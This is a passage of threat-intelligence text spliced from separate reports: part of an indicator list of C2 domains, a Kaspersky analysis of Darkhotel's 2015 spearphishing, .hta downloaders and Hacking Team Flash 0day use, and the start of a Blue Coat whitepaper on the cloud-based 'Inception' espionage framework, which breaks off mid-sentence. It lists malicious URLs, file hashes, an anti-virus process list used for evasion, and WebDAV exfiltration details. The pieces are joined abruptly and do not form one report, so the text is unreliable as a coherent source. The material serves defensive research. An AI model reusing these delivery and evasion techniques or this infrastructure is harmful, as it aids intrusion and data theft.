ftp.tt0320.portrelay.com Domain home.affisensors.com Domain hot.mrface.com Domain info.affisensors.com Domain jucy.wikaba.com Domain jutty.organiccrap.com Domain lengendport.com Domain lucy.justdied.com Domain newtect.ddns.us Domain nuac.jkub.com Domain nunok.ninth.biz Domain osk.lflink.com Domain philipine.gnway.net Domain pure.mypop3.org Domain reg.dsmtp.com Domain tt0320.portrelay.com Domain venus.gr8domain.biz Domain www.bbs.dynssl.com Domain www.bbs.serveuser.com Domain www.bbslab.acmetoy.com Domain www.edu.authorizeddns.org Domain www.edu.onmypc.org Domain www.fgtr.info Domain www.hot.mrface.com Domain www.ktry.info Domain www.lucy.justdied.com Domain www.osk.lflink.com Domain www.reg.dsmtp.com Domain www.tt0320.portrelay.com Domain [1] http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ [2] http://msdn.microsoft.com/en-gb/library/windows/desktop/aa380255(vvs.85).aspx [3] http://en.wikipedia.org/wiki/RC4 [4] http://en.wikipedia.org/wiki/MD5 [5] http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf [6] http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White- Paper-Intel-Driven-Defense.pdf Darkhotels attacks in 2015 10 aot 2015 Darkhotel APT attacks dated 2014 and earlier are characterized by the misuse of stolen certificates, the deployment of .hta files with multiple techniques, and the use of unusual methods like the infiltration of hotel Wi-Fi to place backdoors in targets systems. In 2015, many of these techniques and activities remain in use. However, in addition to new variants of malicious .hta, we find new victims, .rar attachments with RTLO spearphishing, and the deployment of a 0day from Hacking Team. The Darkhotel APT continues to spearphish targets around the world, with a wider geographic reach than its previous botnet buildout and hotel Wi-Fi attacks. Some of the targets are diplomatic or have strategic commercial interests. The location of Darkhotels targets and victims in 2015: North Korea Russia South Korea Japan Bangladesh Thailand India Mozambique Germany 2015 Darkhotel .hta and backdoor-related, exploit-related and c2 sites: storyonboard[. ]net tisone360[. ]org openofficev[. ]info saytargetworld[. ]net error-page[. ]net eonlineworld[. ]net enewsbank[. ]net thewordusrapid[. ]com 2015 spearphishing incident attachment name subset: schedule(6.16).rar - schedule(6.16)_?gpj.scr schedule(2.1116).rar - schedule(2.1116)_?gpj.scr congratulation.rar - congratulation_?gpj.scr letter.rar - letter_?gpj.scr Consistent use of obfuscated .hta downloaders https://securelist.com/blog/research/66779/the-darkhotel-apt/ Whether the infection is achieved through spearphishing, physical access to a system or the Hacking Team Flash 0day, there frequently seems to be a common method for a newly-infected system to communicate with Darkhotels c2: A lightly obfuscated (double escaped set of javascript variable values) script maintained within an .hta file writes an executable to disk and executes it. It is interesting that this particular group has for years now deployed backdoor and downloader code in the form of .hta files. In 2010, we observed it re-purposing articles on North Korea by the US think-tank, Brookings Institute, in order to attack North Korean-related targets with malicious code buried in .hta files. It also emailed links to its malicious .hta files to North Korean tourist groups, economists with an interest in North Korea, and more. Its somewhat strange to see such heavy reliance on older Windows-specific technology like HTML applications, introduced by Microsoft in 1999. From the recent sendspace.servermsys.com/downloader.hta: After execution and escaping a couple of variables, the .hta uses ancient Adodb.stream components in order to write out a string xord with 0x3d as an executable file and runs it. This code results in the execution of internet_explorer_Smart_recovery.exe 054471f7e168e016c565412227acfe7f, and a hidden browser window phoning back to its c2. In this case, http://www.brookings.edu/research/opinions/2010/04/07-nuclear-arms-ohanlon http://contagiodump.blogspot.com/2010/04/apr-23-link-hta-w-trojanwin32tapaouxa.html http://www.nkeconwatch.com/2012/01/27/malicious-email-update/ https://msdn.microsoft.com/en-us/library/Bb250409(vVS.85).aspx it seems that Darkhotel operators are checking as to whether or not the victims default browser is Internet Explorer, as all versions of IE return the value 0 and other browsers leave appMinorVersion undefined. This data collection seems somewhat odd, because .hta files are supported and run by mshta.exe on Windows systems only, still delivered with Windows 8. Perhaps it is an artefact from early development of the code. Here is a recent version: hxxp://sendspace.servermsys.com/readme.php?typeexecutionresultcreated_and_executedinfo navigator.appMinorVersion The internet_explorer_Smart_recovery.exe file is a simple obfuscated downloader. A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports. When finished, this url string decryption and connectback looks like http://sendspace.servermsys.com/wnctprx. The file is downloaded (b1f56a54309147b07dda54623fecbb89) to .tmp file in temp, executed, and the downloader exits. This larger file is a backdoor/downloader that includes ssh functionality, and drops its keys to disk for ssh interaction. We find older Darkhotel information stealers dropped and run on the system by these downloaders. Spearphishing and .rar Attachments with RTLO The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment schedule(2.1116).rar could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment schedule(6.16).rar. It consistently archives RTLO .scr executable files within .rar archives, in order to appear to the target as innocuous .jpg files. These executable files are lite droppers, maintaining these decoy jpeg files, and code to create an lnk downloader. When the target attempts to open what they think is a jpg image file, the executable code runs and drops a jpg image to disk, then opens it with mspaint.exe in the background. This congratulations document is in Korean, revealing a likely characteristic of the intended target. While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. This technique is also used by other APTs as persistence mechanisms, as documented by our Mandiant colleagues. The 64kb lnk file is downloader code: When this lnk file is executed, it begins an AJAX-based download process for the unzip.js file (a07124b65a76ee7d721d746fd8047066) on openofficev.info. This is another wscript file implementing AJAX to download and execute a relatively large compiled executable: This executable code is saved to temp\csrtsrm.exe and executed there. It is a relatively large executable (1.2 mb) that injects malicious code and spawns remote threads into legitimate processes. Stolen certificates and evasion The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co. Ltd. Darkhotel now tends to hide its code behind layers of encryption. It is likely that it has slowly adapted to attacking better-defended environments and prefers not to burn these stolen digital certificates. In previous attacks it would simply have taken advantage of a long list of weakly implemented, broken certificates. Not only are its obfuscation techniques becoming stronger, but its anti-detection technology list is growing. For example, this signed downloader (d896ebfc819741e0a97c651de1d15fec) decrypts a set of anti-malware strings in stages to identify defensive technologies on a newly-infected system, and then opens each process, looking for a matching image name: c:\avast sandbox\WINDOWS\system32\kernel32.dll - Avast avp.exe - Kaspersky Lab mcagent.exemcuicnt.exe - Intel/Mcafee bdagent.exe - BitDefender ravmon.exe,ravmond.exe - Beijing Rising 360tray.exe,360sd.exe,360rp.exe,exeMgr.exe - Qihoo 360 ayagent.aye,avguard.avgntsd.exe - Avira Antivirus ccsvchst.exe,nis.exe - Symantec Norton avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe - Avast msseces.exemsmpeng.exe - Microsoft Security Essentials and Microsoft Anti-Malware Service AVK.exeAVKTray.exe - G-Data avas.exe - TrustPort AV tptray.exe - Toshiba utility fsma32.exefsorsp.exe - F-Secure econser.exeescanmon.exe - Microworld Technologies eScan SrvLoad.exePSHost.exe - Panda Software egui.exeekrn.exe - ESET Smart Security pctsSvc.exepctsGui.exe - PC Tools Spyware Doctor casc.exeUmxEngine.exe - CA Security Center cmdagent.execfp.exe - Comodo KVSrvXP.exeKVMonXP.exe - Jiangmin Antivirus nsesvc.exeCClaw.exe - Norman V3Svc.exe - Ahnlab guardxup. - IKARUS FProtTray. - F-Prot op_mon - Agnitum Outpost vba332ldr.dwengine. - DrWeb Even the identifying information that the backdoor seeks from a system is not decrypted until runtime. Like the information-stealer component documented in our previous Darkhotel technical report, this component seeks to steal a set of data with which to identify the infected system. Much of the information is collected with the same set of calls, i.e. kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo: Default system codepage Network adapter information Processor architecture Hostname and IP address Windows OS and Service Pack versions Essentially, much of this information-stealer code is the same as that observed in previous attacks. Tisone360.com, Visits, and Hacking Team Flash 0day The tisone360.com site was especially interesting to us. In April 2015, Darkhotel was email-phishing with links to earlier (cve-2014) Flash exploits, and then, at the beginning of July, it began to distribute what is reported to be a leaked Hacking Team Flash 0day. It looks like the Darkhotel APT may have been using the leaked HackingTeam Flash 0day to target specific systems. We can pivot from tisone360.com to identify some of this activity. The site was up and active as late as 22 July, 2015. However, this looks to be a small part of its activity. In addition to the icon.swf HT 0day (214709aa7c5e4e8b60759a175737bb2b), it looks as though the tisone360.com site was delivering a Flash CVE-2014-0497 exploit in April. We reported the related vulnerability to Adobe in January 2014, when it was being used by the Darkhotel APT. Recently, the Darkhotel APT has maintained multiple working directories on this site. It is the ims2 directory that is the most active. It contains a set of backdoors and exploits. The most interesting of these is the reported Hacking Team Flash 0day, icon.swf. In the days following the public mention of this server, the crew slowly tightened down open access to /ims2/. Either way, the contents continued to be actively used. icon.swf (214709aa7c5e4e8b60759a175737bb2b) - icon.jpg (42a837c4433ae6bd7490baec8aeb5091) - temp\RealTemp.exe (61cc019c3141281073181c4ef1f4e524) https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ After icon.jpg is downloaded by the flash exploit, it is decoded with a multi- byte xor key 0xb369195a02. It then downloads further components. Its interesting to note that the group appears to be altering the compilation and linker timestamps of its executable code to dates in 2013. We see this across multiple samples deployed and observed for the first time in mid-2015, including the icon.jpg downloader. A log of visits to the site directory records that the directory was set up on July 8th. A handful of visits to a specific url on the server from five systems based in the following locations were recorded on the 8th and 9th. Several of these are likely to be Darkhotel APT targets: Germany South Korea China (likely to be research) US Japan However, one of those systems hammered the site on the 9th, visiting almost 12,000 times in 30 minutes. This volume of traffic is likely to represent a noisy scanning research attempt and not someone DoSing the site: Recorded site visits following the 9th are likely to be unreliable and may be more researchers, responding to the growing notoriety of the site following the public reports on the 9th. Many of these approximately 50 visits come from a subset of the above systems and are repeated multiple times. Visits from the following locations occurred on or after the 10th: Germany (likely to be research) Ukraine (likely to be research) Amazon Web Services, multiple locations (likely to be research) Googlebot, multiple locations US Ireland (likely to be research) Russia Brazil China Finland Canada Taiwan France (likely to be research) Czech Republic A consistent attack flow The Darkhotel group tends to stick with what works. For example, for years we saw repeated use of spearphishing targets directly with .hta files. Now, as with the tisone360.com site above, we have seen repeated use in 2015 of a creative chain of delivery sets. downloader - hta checkin - info stealer - more compiled components. dropper - wsh script - wsh script - info stealer - more compiled components spearphish - dropper - hta checkin - downloader - info stealer While a chain of delivery that includes obfuscated scripts within .hta files occurred as far back as 2011, the volume appears to have picked up in 2014 and now 2015. openofficev[. ]info (2015) office-revision[. ]com (2014) online.newssupply[. ]net (2011) Hiding infrastructure in plain sight The group is now more vigilant in maintaining its sites, tightening up configuration and response content. Right now, its c2 responds with anti-hero images of Drinky Crow from the alt Maakies cartoon: Other Darkhotel c2s tend to blend in with random sites on the web when incorrect or missing pages are visited. They are ripping images either from FOTOLIA or articles on artisanal ice cream makers here: HTA md5: 021685613fb739dec7303247212c3b09 1ee3dfce97ab318b416c1ba7463ee405 2899f4099c76232d6362fd62ab730741 2dee887b20a06b8e556e878c62e46e13 6b9e9b2dc97ff0b26a8a61ba95ca8ff6 852a9411a949add69386a72805c8cb05 be59994b5008a0be48934a9c5771dfa5 e29693ce15acd552f1a0435e2d31d6df fa67142728e40a2a4e97ccc6db919f2b fef8fda27deb3e950ba1a71968ec7466 Spearphish attachments md5: 5c74db6f755555ea99b51e1c68e796f9 c3ae70b3012cc9b5c9ceb060a251715a 560d68c31980c26d2adab7406b61c651 da0717899e3ccc1ba0e8d32774566219 d965a5b3548047da27b503029440e77f dc0de14d9d36d13a6c8a34b2c583e70a 39562e410bc3fb5a30aca8162b20bdd0 (first seen late 2014, used into 2015) e85e0365b6f77cc2e9862f987b152a89 (first seen late 2014, used into 2015) 2015 large downloader md5: 5e01b8bc78afc6ecb3376c06cbceb680 61cc019c3141281073181c4ef1f4e524 3d2e941ac48ae9d79380ca0f133f4a49 http://www.motherearthnews.com/real-food/seasonal-recipes/artisan-ice-cream-zm0z11zalt.aspx fc78b15507e920b3ee405f843f48a7b3 da360e94e60267dce08e6d47fc1fcecc 33e278c5ba6bf1a545d45e17f7582512 b1f56a54309147b07dda54623fecbb89 009d85773d519a9a97129102d8116305 Infostealers dropped in 2015 61637a0637fb25c53f396c305efa5dc5 a7e78fd4bf305509c2fc1b3706567acd Subhosts and urls: tisone360.com/img_h/ims2/icon.swf tisone360.com/img_h/ims2/1.php tisone360.com/img_h/ims2/icon.jpg tisone360.com/noname/img/movie.swf tisone360.com/noname/minky/face.php tisone360.com/htdoc/ImageView.hta tisone360.com/htdoc/page1/page.html daily.enewsbank.net/wmpsrx64 daily.enewsbank.net/newsviewer.hta saytargetworld.net/season/nextpage.php sendspace.servermsys.com/wnctprx error-page.net/update/load.php photo.storyonboard.net/wmpsrx64 photo.storyonboard.net/photoviewer.hta photo.storyonboard.net/readme.php unionnewsreport.net/aeroflot_bonus/ticket.php www.openofficev.info/xopen88/office2 www.openofficev.info/dec98/unzip.js www.openofficev.info/open99/office32 www.openofficev.info/decod9/unzip.js Parallel and Previous Research CVE-2014-0497 A 0-day Vulnerability https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ Hacking Team Flash Zero-Day Tied To Attacks In Korea and Japan on July 1 http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in- korea-and-japan-on-july-1/ The Darkhotel APT https://securelist.com/blog/research/66779/the-darkhotel-apt/ propos de Kaspersky Lab https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in-korea-and-japan-on-july-1/ http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in-korea-and-japan-on-july-1/ https://securelist.com/blog/research/66779/the-darkhotel-apt/ Kaspersky Lab est la premire entreprise prive de cyber-scurit au niveau mondial et lune de celles enregistrant la croissance la plus rapide. Depuis sa cration en 1997, Kaspersky Lab na cess dinnover et de faire voluer la cyber-scurit. Lentreprise offre des solutions de scurit digitale et des services dintelligence penss pour les consommateurs, les PME et les grandes entreprises. Prsente dans prs de 200 pays, protgeant plus de 400 millions dutilisateurs dans le monde, la socit est reconnue comme lun des quatre premiers fournisseurs mondiaux de solutions Endpoint pour utilisateurs finaux (IDC, 2014). Pour en savoir plus : www.kaspersky.fr Pour en savoir plus : www.kaspersky.com/fr/ Pour plus dinformations sur lactualit virale : http://www.securelist.com Salle de presse virtuelle Kaspersky Lab : http://newsroom.kaspersky.eu/fr/ Blog franais de Kaspersky Lab : http://blog.kaspersky.fr/ Hotwire pour Kaspersky Lab Marion Delmas / Eric Le Yavanc / Marion Larivire 01 43 12 55 62 / 47 / 64 KasperskyFrancehotwirepr.com http://www.kaspersky.fr/ http://www.kaspersky.com/fr/ http://www.securelist.com/ http://newsroom.kaspersky.eu/fr/ http://blog.kaspersky.fr/ https://www.facebook.com/kasperskylabfrance https://www.facebook.com/kasperskylabfrance http://www.linkedin.com/company/kaspersky-lab-france http://www.linkedin.com/company/kaspersky-lab-france http://blog.kaspersky.fr/ mailto:KasperskyFrancehotwirepr.com 1 Whitepaper: The Inception Framework: Cloud-hosted APT By Snorre Fagerland and Waylon Grange Blue Coat Systems, Inc 2 Executive summary Blue Coat researchers have uncovered a previously-undocumented, highly automated, and extremely sophisticated framework for performing targeted attacks. The framework is notable for a number of reasons, including (but not limited to) its use of a cloud-based infrastructure for command-and-control and its use of the WebDAV protocol to send instructions and receive exfiltrated information from compromised systems. Initial malware components were embedded in Rich Text Format (RTF) files. Exploitation of vulnerabilities in this file format is leveraged to gain remote access to victims computers. The framework, thus far, has been using the services of a cloud service provider based in Sweden, CloudMe.com, for its main command-and-control infrastructure. Malware payloads designed for a wide array of potential devices, including home routers and mobile devices running iOS, BlackBerryOS or Android, were also recovered during the course of our research. The framework is designed in such a way that all post-infection communication (i.e. target surveying, configuration updates, malware updates, and data exfiltration) can be performed via the cloud service. The malware components of this framework follow a plugin model, where new malware rely on other, previously delivered malware components to interact with the framework. Initial attacks were largely focused on Russia and a few other Eastern European countries. However, we have later seen that attackers are interested in targets all over the globe. The framework is itself target-agnostic, and seems highly automated. The operational security exhibited by the attackers is very good - among the best we have seen. Most interaction between attackers and their infrastructure is performed via a convoluted network of router proxies and rented hosts. Although the attackers have left a few clues, we have been unable to provide attribution with any degree of accuracy. 3 Introduction The use of software vulnerabilities in order to execute malicious software on unsuspecting users computers is an important parameter to monitor. This method of attack is not only known to have a considerable success rate, it is also often deployed by resourceful attackers and, as such, marks a threat worth paying attention to. The use of exploits in document formats like PDF, DOC and RTF is in some ways especially noteworthy. Documents are commonly exchanged via mail, which make them perfect for email-borne targeted attacks what is otherwise known as spear phishing. In March, 2014, Microsoft published information about a new vulnerability in Rich Text Format (RTF). This vulnerability, named CVE-2014-1761 (Microsoft Word RTF Object Confusion), had already been used effectively by attackers at the time of the announcement. Two previous vulnerabilities in the RTF file format, known as CVE-2010-3333 and CVE-2012-0158, had become, by that time, mainstays of targeted attacks, so we tracked how attackers implemented this new exploit with keen interest. By late August, we identified a malware espionage operation that used both the CVE-2014-1761 and CVE-2012-0158 vulnerabilities to trigger execution of the malicious payload, and which leveraged a single cloud service as the backbone of its entire visible infrastructure. When we examined the suspicious documents, it was discovered that they were somewhat anomalous compared to the run-of-the-mill material. They turned out to belong to a highly advanced and professional targeted attack framework, which utilized a complex series of techniques to survey potential targets. Due to the many levels of obfuscation and indirection, we named this the Inception framework but there ends all similarity with the movie by the same name. Leonardo DiCaprio is not associated with this investigation. 4 PART I: CloudMe 5 Use of trojanized documents We initially knew little about who the actual targets were apart from one. In that particular case we had the actual phishing email, so we knew the apparent recipient the CEO of a large Russian bank. The email was apparently sent from Mrs. World note the Mrs., and not Miss - World. The weaponized Microsoft Word document attached to the email message (photo.doc) contained two separate exploits: one targeting the vulnerability detailed in CVE-2012-0158 (MSCOMCTL ActiveX Buffer Overflow) the other targeting the aforementioned CVE-2014-1761. 6 Above: Mrs. World. Text and picture apparently taken from the news site mk.ru We soon discovered that our malware repository contained several other, similar documents, but these had come from other sources which did not include the email message, or any identifiable information about the targets. However, the text of the documents covered a variety of topics mostly revolving around Russian issues relating to a variety of business sectors. The following pages highlight a representative selection of these documents. 7 An article cribbed verbatim from the Novye Izvestiya news Web site about the Russian financial situation in light of the Ukrainian crisis. An application form to participate in a seminar supposedly organized by Russias Federal Service for Defense Contracts ( ) scheduled for Sept 24/25 2014. An article, in English, about the Ukraine situation taken from the Financial Times (UK) newspaper. An advertisement from a supplier of diesel engines and related mechanical services. The letter lists the Russian navy and the Border Guard department of the FSB among their customers. 8 Organigrama Gobierno Rusia.doc a summary profile of several high- level Russian government officials originally submitted to VirusTotal from an IP address in Spain. An advertisement of a used car for sale that purportedly originated from an employee at the German Embassy in Moscow. Invitation to Russian Art Week 9 Document metadata All documents that we have found so far have been rather standard Word documents, of the old 97-2003 compatible format based on OLE2. Such documents can, and typically do, contain quite a bit of metadata: The name of the document creator the user who edited it most recently the name of the company whose copy of Word was used to create the document, et al. Users can optionally configure Word to remove this metadata when a document is saved, and thats exactly what the creator of these documents did, stripping out this potential source of attribution data. However, Word documents in this format contain additional information, if you know where to look. All Word documents of this format contain whats known as a File Information Block (FIB). The FIB contains information about the files internal structure, and also to some extent data on the program used to create the file. In the case of the samples we analyzed, all of the documents were saved using the same build of Microsoft Word from Office14 (better known as Office 2010). In addition, documents can contain slack space in which old data remains. For example, the decoy that came with the attack named Organigrama Gobierno Rusia.doc contains Visual Basic leftovers indicating that it originally was created on a computer that was configured to be used by a native Spanish speaker, apparently by an advisor at the Spanish Embassy in Moscow. This document was presumably obtained by the attackers and repurposed for the attack. 10 Targeted verticals Despite the limited information at our disposal about the targets of these attacks, their content reveals some context about who the possible targets may have been. First of all, we have the decoy documents which indicate an interest in: - Embassies - Politics - Finance - Military - Engineering We also have a set of phishing mails, which were targeted at: - The finance sector in Russia - The oil and energy industry in Romania, Venezuela, and Mozambique - Embassies and diplomats from various countries 11 Shellcode The shellcode used is a pretty standard variant previously used by a number of campaigns typically operating out of China, but with some minor changes. The malicious content is stored inside the document in encoded form, and the shellcode decodes and writes this to disk.
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Above: The decoding loop Upon successful execution this code drops a Word document and a Visual Basic script.
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Above: The decoding loop Upon successful execution this code drops a Word document and a Visual Basic script. The Word document is displayed to the user to avoid arousing any suspicion while the script is executed in the background. Unusual for many exploit campaigns, the names of the dropped files vary for example HyHa9AJ.vbs, ew_Rg.vbs, 0_QHdN.vbs, etc. clearly randomized in order to avoid detection by name. 12 Visual Basic Script dropper The VBScript dropper code is also a little unusual. It declares a Windows Management Instrumentation (WMI) object in order to reach components like the registry and file system. This seems adapted from Microsoft example code, like the one found at http://msdn.microsoft.com/en-us/library/aa387236(vvs.85).aspx When the VBSript is run it drops two files to disk. One is a polymorphed dll file and the other a binary data file with no obvious internal structure. This data file turns out to be encrypted using AES-256. http://msdn.microsoft.com/en-us/library/aa387236(vvs.85).aspx 13 The files will be installed in several locations: WinDir, ex. C:\Windows. APPDATA, ex. C:\Users\USERNAME\AppData\Roaming ALLUSERSPROFILE, ex. C:\ProgramData CommonProgramFiles, ex. C:\Program Files\Common Files USERPROFILE, ex. C:\Users\USERNAME These locations will vary some between operating system versions. The VBScript then sets a startup key in the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry path to execute the DLLs at boot time. Regardless of whether the registry launches the DLL or when another malware executable starts the DLL directly, the DLL is launched using regsrv32.exe with the /s (silent) option. The names of these dropped files change from attack to attack. The one above drops ctfmonrc.dll. Other names observed were: ctfmonm.dll ctfmonrn.dll wmiprvse.dll alg.dll dwm.dll The encrypted data files are named using random words apparently taken from a dictionary acholias, arzner, bicorporate, crockrell, damnatorily etc. 14 DLL payload Looking at one of the dropped dlls we can see the authors originally called it 95Num3P3gm.dll.polymorphed.dll. When executed it will rebuild the original dll (95Num3p3gm.dll, presumably), load it from memory and pass over execution. In the early stages of our research, most other payloads followed the same naming convention, eg., fvK3J15B5d. DLL.polymorphed. DLL LvwU9gnFO.DLL.polymorphed. DLL NR5vaFTe9R.DLL.polymorphed. DLL hs78lg7x5F.DLL.polymorphed. DLL, etc. More recently collected samples no longer contain the polymorphed string. It is hard to describe the polymorphed dlls with any real depth, as there is little consistency between them. When two nearly identical dlls are encoded using the polymorphic scheme there is very little code in common. The call graphs are different and key functions have varying number of arguments. The polymorphing mechanism also generates, and inserts, unique functions all of which make calls to different floating-point operations all done just to obfuscate the actual decoding process. The sizes of buffers allocated are also randomized to mask their intent. 15 A portion of one of the dynamically generated functions. What is common is that somewhere along the execution cycle is one extremely large function (over 200 kb in length) where early in a large allocation is made where the un-obfuscated binary will be placed. The binary is then built from de- obfuscating segments of it that have been dispersed through the .rdata section. The order, size, and locations of these segments vary from build to build but somewhere near the end of the large function there will be a call to a subfunction that loads the PE image into memory, followed by a call to free the PE image allocation from memory. Simply halting execution before this function call permits a researcher to extract the reconstructed DLL from memory. 16 Here, pausing execution before the call to load_pe_from_memory reveals the extracted PE at the memory address pointed to by edx. This reconstructed DLL, once loaded, will decode a configuration structure from its .data section which contains three important details: the name of the encrypted data file dropped by the VBScript the AES key used to decrypt the file and the name of a unique global mutex to hold while running to prevent multiple instances. This configuration information is used to load the encrypted file into memory and decrypt it. This turns out to be yet another dll. The first ordinal exported by this dll is located and then called, passing in the configuration and the name of the encrypted file on disk as parameters. 17 This last dll is the heart of the threat (originally called q5Byo.dll in this instance. This file contains the true intent of this campaign. It is designed as a survey tool. The PE file gathers system information including OS version, computer name, user name, user group membership, the process it is running in, locale IDs, as well as system drive and volume information. All of this is encrypted and then sent to cloud storage via WebDAV. 18 The malware installation chain 19 WebDAV cloud usage WebDAV is a communication standard that allows file management over HTTP or HTTPS. Windows allows WebDAV sessions to be mapped as network resources. The use of WebDAV as the communication channel is atypical for most malware samples we see. By using a network resource, the actual web traffic originates from the system itself, and not from the process in which the malware resides. Additionally, once the resource is established, the malware can transfer files to and from the command and control servers using standard file IO commands. All the authentication information for the WebDAV session including the URL, folders, path, user name, and password is stored within this last DLL in another AES-encrypted configuration structure in the binary. A unique path, username, and password were used for each malware instance weve seen in the wild. This allows the attackers to uniquely identify every targeted attack and track how successful each phishing campaign is. Also contained within the configuration structure is information on how to name the survey data on the remote file server. The binary reads from its configuration a string on how to generate the remote filename, and a list of extensions to use. An example would be _1-7d_0-8s, [TIF, TAR, SIT] which instructs the binary to generate a filename with 1 to 7 numeric digit characters followed by 0 to 8 ASCII letters with one of the three listed extensions such as 664gher. TAR. The survey is then uploaded to the server in a specified folder with the generated name. Files are compressed using a modified LZMA-compression and encrypted using AES cipher-block-chaining (CBC) before being uploaded to the cloud server. The binary also checks a separate folder on the cloud service designated to contain new configuration information. If such a file is present on the server, the malware downloads the new configuration file then deletes it from the server. 20 The cloud storage provider in every case we have seen was the Swedish company CloudMe.com, which offers free and paid WebDAV cloud storage. The URI model used by the malware is http://webdav.cloudme.com/username/CloudDrive/ which is a direct reference to file storage. It must be noted that the CloudMe service is not actively spreading the malicious content the attackers are only using it for storing their files. We notified CloudMe.com about the abuse of their services. Their CEO, Mr. Daniel Arthursson, was none too happy about this, and was very helpful in our further research. CloudMe has shared a great deal of log information related to this attack. These indicate that there are many other accounts (over 100) likely related to this attack system. We have no way of verifying this with absolute certainty, but this is what we regard as a high confidence assumption. 21 Distribution of logged victim connections towards CloudMe. The cloud accounts are not used for one-way communication only. The malware also checks configured subfolders for updates and if these are found they will be downloaded, decrypted and used as appropriate. One such case is the franko7046 account, used against the previously mentioned bank CEO. In this account there was hidden another encrypted configuration file which the malware downloaded and decrypted. Above: The configuration file of the depp3353 account. Password is redacted. 22 This is how we found the depp3353 account. In this new account there was another surprise waiting for us a download folder with two new encrypted files, 921.bin and 922.bin. Once decrypted, these turned out to be PE executables. Downloaded plugins: Cloud persistence The two new executables are plugins - quite similar to each other and obviously compiled on the same setup. They are lightweight and intended to pull specific survey information from their target. Of interest, both of the DLLs originally had the same internal name (78wO13YrJ0cB.dll). Presumably the same PE sanitization script and parameters were used on both. None of these plugins contain any means of CnC communication. Instead, when they are executed they are passed a pointer to a function to use for sending data back home. Neither are they ever written to disk. They are executed in memory only, and once they have completed the memory is freed. This makes these modules extremely stealthy, flexible and compatible with multiple toolsets independent of what CnC method is being used. 921.bin retrieves several datapoints about the infected machine: Domain info a list of running processes with all loaded modules in each the list of installed software and a complete hardware profile of the target machine. 922.bin compiles a dirwalk a complete listing of every file path of each fixed drive. All of this information is exfiltrated back via the same WebDAV connection. This model makes it possible to do the intrusion in steps, with verification stages in between and the files will not be easily found on affected computers. Based on the information gathered from these modules, the attackers appear to move to the next stage of their attack by placing more new components on the WebDAV shares. Information about these uploads is limited by the fact that we do not have the AES keys to decrypt much of the uploaded data, but we have been able to see some upload patterns. What we assume to be third-stage plugins appear on the shares as .bin files of roughly 72kb. As with other plugins, these are downloaded and deleted from the share in one go. However, the next day, another .bin file of the same size will be uploaded to the share. This is a pattern that repeats itself over all live accounts. It seems that because the plugins exist in memory only, they are injected daily to ensure persistence on victim computers. Our theory is that this malware is a more typical datastealer, and we have observed that after this type of file is planted on the account, encrypted data uploads from compromised users increase. 23 The Sheep and the Wolves Victims of this attack will connect using the Windows WebDAV redirector, and the HTTP request user-agent string will reflect this. For Windows XP this will typically be Microsoft-WebDAV-MiniRedir/5.1.2600, and for Windows 7 a common user-agent is Microsoft-WebDAV-MiniRedir/6.1.7601. Security researchers and there are a few of them - connect in a variety of ways first of all, we see a number of connections that are indistinguishable from the way victims connect. This happens when researchers use lab machines with live internet access to run the malware. The only way we can tell these are researchers is because they connect from IP address ranges that are unlikely to be victims and they also tend to consist of short-lived sessions. Some researchers set up scheduled tasks to scan the shares for new updates and malware. We see a few variations of these one typical configuration is where the requests contain a Python-related user-agent string. Attackers, on the other hand, dont appear to use Windows. Common across multiple accounts, multiple IPs, and over time, is that the probable attackers have used a HTTP user-agent of davfs2/1.4.6 neon/0.29.6. We know these are not researchers, because we can see malware files being uploaded by them: [17/Sep/2014:09:42:38 0200] PUT /white3946/CloudDrive/QxM9C/st/V1oINDJtnqy/1768.bin HTTP/1.0 201 0 - davfs2/1.4.6 neon/0.29.6 Above: Log entry for the account white3946. We have been unable to locate the malware that uses this account. We have a log fragment in which the attackers uploaded a sequential series of updates (from 1746.bin to 1774.bin) within 1.5 hours on Sept 17th, spread over 27 different accounts and using 27 different IP addresses in the process. The user-agent string shows that attackers likely have used a client based on the open source davfs2 file system for Linux to mount the WebDAV shares. 24 This client is used when uploading new malware, but also when the attackers scan their shares for new victim updates, in which case the shares are enumerated by requests in a scheduled manner. An attacker scans the tem5842 account for updates. At intervals, scans hop to new IP addresses. The attackers have used a large number of IP addresses to access the shares. As mentioned above, there is a rotation scheme in place in which a new IP address will be used after a few minutes of access against CloudMe accounts. These IPs are distributed widely over geographical locations and service providers, with a heavy bias towards South Korean ranges. 25 S. Korea 85 Australia 1 China 7 Austria 1 United States 7 Bulgaria 1 Brazil 5 Canada 1 Sweden 3 Denmark 1 Czech Republic 2 France 1 Norway 2 Germany 1 Romania 2 Kuwait 1 Russia 2 Latvia 1 Spain 2 Ukraine 1 Distribution of attacker IP addresses At first we thought these IPs belonged to some commercial proxy service, particularly since several such proxy services also offer IP rotation. However, this turned out to be a wrong assumption. 26 PART II: Support infrastructure 27 An embedded device proxy network A superficial examination of the proxy IP addresses that connected to CloudMe showed them to be internet-connected devices of various kinds. Many were Korean Tera-EP home routers but there were several other products represented. It is believed that the attackers were able to compromise these devices based on poor configurations or default credentials. We were able to do some forensic work on a compromised Tera-EP TE-800 device and discovered another dimension of the attackers 